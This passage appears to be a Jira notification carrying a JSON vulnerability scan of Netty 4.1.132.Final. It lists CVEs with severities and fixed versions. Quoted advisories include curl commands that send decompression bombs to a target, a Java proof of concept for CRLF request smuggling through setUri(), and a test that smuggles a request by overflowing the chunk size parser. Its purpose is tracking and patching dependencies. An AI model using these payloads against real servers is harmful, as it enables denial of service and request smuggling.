\\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at
1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES
maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no
maxAllocation\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding:
br' \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory →
OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and
`Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An
attacker can cause out-of-memory conditions on any Netty server that relies on
`maxAllocation` for decompression bomb protection, by simply using a non-gzip
content encoding.\n- **False sense of security**: Developers who explicitly
configure `maxAllocation` t",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-44249",
"severity": "HIGH",
"cvss": 8.1,
"description": "### Summary\nAn attacker can bypass IPv6 subnet rules due
to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid
public IP addresses can bypass the restrictions.\n\n###
Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)`
method performs a bitwise AND between the incoming IP address and the
configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess
Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
"published_date": "2026-06-09",
"package": "netty-handler",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-45416",
"severity": "HIGH",
"cvss": 7.5,
"description": "SslClientHelloHandler.decode() reads the 24-bit TLS
handshake length and, when the ClientHello does not fit in the first record,
eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard
at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength
!= 0`, and the commonly-used SniHandler/AbstractSniHandler constructors
(SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass
maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is
disabled and no timeout is scheduled. A 16 MiB request exceeds the default
pooled chunk size and becomes a huge/unpooled allocation performed immediately.
The buffer is retained in the handler until the channel closes.",
"published_date": "2026-06-09",
"package": "netty-handler",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-48043",
"severity": "HIGH",
"cvss": 7.5,
"description": "### Impact\n\nThe `DelegatingDecompressorFrameListener`
class orchestrates HTTP/2 decompression by embedding a per-stream
`EmbeddedChannel` that runs the appropriate decompression codec (gzip, deflate,
zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed
chunk is a pooled `ByteBuf` handed to an anonymous
`ChannelInboundHandlerAdapter` tail handler, which becomes the sole owner
responsible for releasing it.\n\nA remote peer could send frames that would
result in the flow-controller throwing and so trigger a resource leak which at
the end might take down the whole JVM due OOME.",
"published_date": "2026-06-11",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-50010",
"severity": "HIGH",
"cvss": 7.5,
"description": "Netty is a network application framework for development of
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final,
SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any
user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends
X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain,
authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg
delegate. Because the object now IS an X509ExtendedTrustManager, neither
SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own
OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification.
Consequently, even though Netty 4.2 sets
endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with
`SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)`
performs no hostname verification at all. Versions 4.1.135.Final and
4.2.15.Final patch the issue.",
"published_date": "2026-06-12",
"package": "netty-handler",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-41417",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "### Summary\nNetty allows request-line validation to be
bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created
first and its URI is later changed via `setUri()`.\n\nThe constructors reject
CRLF and whitespace characters that would break the start-line, but `setUri()`
does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then
write the URI into the request line verbatim. If attacker-controlled input
reaches `setUri()`, this enables CRLF injection and insertion of additional
HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling /
desynchronization on the HTTP side and request injection on the RTSP
side.\n\n### Details\nThe root issue is that URI validation exists only on the
constructor path, but not on the public setter path.\n\n-
`io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls
`HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)`
only performs `checkNotNull` and does not validate\n-
`io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)`
delegates to the parent implementation\n-
`io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()`
directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n
- Writes `request.uri()` directly into the request line\n\nThis creates the
following bypass:\n\n1. An application creates a `DefaultHttpRequest` or
`DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input
is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes
that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets
the injected bytes after CRLF as separate requests\n\nThis appears to be an
incomplete fix pattern where start-line validation exists, but can still be
bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code
first creates a normal request object and then injects a malicious request line
using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport
io.netty.channel.embedded.EmbeddedChannel;\nimport
io.netty.handler.codec.http.DefaultHttpRequest;\nimport
io.netty.handler.codec.http.HttpMethod;\nimport
io.netty.handler.codec.http.HttpRequestEncoder;\nimport
io.netty.handler.codec.http.HttpServerCodec;\nimport
io.netty.handler.codec.http.HttpVersion;\nimport
io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n
public static void main(String[] args) {\n EmbeddedChannel client = new
EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server =
new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest
request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,
HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\"
+\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\"
+\n \"content-length: 11\\r\\n\\r\\n\" +\n
\"Hello World\" +\n \"GET /s1\");\n\n
client.writeOutbound(request);\n ByteBuf outbound =
client.readOutbound();\n\n System.out.println(\"=== Raw encoded request
===\");\n
System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n
System.out.println(\"=== Decoded by HttpServerCodec ===\");\n
server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n
while ((msg = server.readInbound()) != null) {\n
System.out.println(msg);\n }\n\n outbound.release();\n
client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n
}\n}\n```\n\nWhen reproduced, the raw encoded request looks like
this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length:
11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as
multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST
/s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the
value supplied through `setUri()` is interpreted on the wire as additional
requests.\n\n### PoC (RTSP)\nThe same root cause also affects `",
"published_date": "2026-05-05",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42580",
"severity": "MEDIUM",
"cvss": 6.5,
"description": "### Summary\nNetty's chunk size parser silently overflows
int, enabling request smuggling attacks.\n\n###
Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently
overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult
+= digit;\n\nThe result is checked only for negative values. However, with a
carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe
test below shows Netty successfully parsing the second request, demonstrating
how an attacker can smuggle a second request inside a chunked
body.\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST /
HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n
\"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"100000004\\r\\n\"
+\n \"test\\r\\n\" +\n \"0\\r\\n\" +\n
\"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n
\"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n
\"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new
HttpRequestDecoder());\n
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr,
CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request =
channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n
HttpContent content = channel.readInbound();\n
assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\",
content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n
LastHttpContent last = channel.readInbound();\n
assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n //
Request 2\n request = channel.readInbound();\n
assertTrue(request.decoderResult().isSuccess());\n last =
channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n
last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects
arbitrary HTTP requests",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-45673",
"severity": "MEDIUM",
"cvss": 6.8,
"description": "### Summary\nNetty's DNS resolver uses a predictable PRNG
for generating DNS transaction IDs and defaults to a static UDP source port.
This combination reduces the entropy of DNS queries, enabling DNS Cache
Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this
vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs:
`DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It
initializes only the first bucket. When an ID is returned, it is pushed back
into the bucket at a random index generated by
java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random =
ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count +
1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver
operates within a single bucket, the sequence of IDs is predictable once the
PRNG state is mathematically recovered.\n\n- Default Static Source Port:
`DnsNameResolverBuilder` defaults to a `channelStrategy` of
`ChannelPerResolver`. This binds the DatagramChannel once, resulting in a
static source port for all subsequent queries.\n\nCombined, a static source
port and predictable transaction IDs reduces the entropy required to secure DNS
resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning. Downstream
applications using the default Netty DNS resolver may connect to malicious IPs,
leading to traffic interception or MitM attacks.",
"published_date": "2026-06-09",
"package": "netty-resolver-dns",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-47244",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "### Impact\nDefaultHttp2Connection.DefaultEndpoint
initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings
never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default
(Http2Settings.java:305-307 only clamps a user-supplied value). Unless the
application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty
HTTP/2 server advertises no limit and enforces none locally. Each open stream
allocates a DefaultStream object, PropertyMap slots, flow-controller state and
IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP
connection can create hundreds of thousands of long-lived stream objects. This
is also the precondition for CVE-2023-44487-style Rapid-Reset amplification,
where the absence of a low concurrent cap multiplies backend work.\n\n###
Resources\nhttps://www.rfc-editor.org/rfc/rfc7540.html#section-6.5.2",
"published_date": "2026-06-09",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-50020",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "Netty is a network application framework for development of
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final,
before reading the first request-line, `HttpObjectDecoder` skips every byte for
which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all
whitespace. RFC 9112 §2.2 only asks servers to ignore empty CRLF lines
preceding the request-line — a carefully scoped robustness allowance intended
to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX,
and other non-CRLF control characters goes significantly beyond this, and can
be exploited for request-boundary confusion in pipelined or multiplexed
transports where a front-end component treats those bytes differently. Versions
4.1.135.Final and 4.2.15.Final patch the issue.",
"published_date": "2026-06-12",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-50560",
"severity": "MEDIUM",
"cvss": 5.3,
"description": "Netty is a network application framework for development of
protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final,
Netty HTTP/2 max header size handling produces an attack similar to HTTP/2
Rapid Reset. There is a setting in the http2 specification called
`SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it
appears that Netty will behave as follows: read the request; proxy the request
to the origin; attempt to produce a response; and create an exception while
writing the headers for the response. Functionally, this should be similar to
the http2 reset attack, but with a different on-the-wire signature. Versions
4.1.135.Final and 4.2.15.Final patch the issue.",
"published_date": "2026-06-12",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 30,
"risk_level": "medium",
"jira_key": "",
"jira_status": "",
"kev": false
}
]{noformat}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)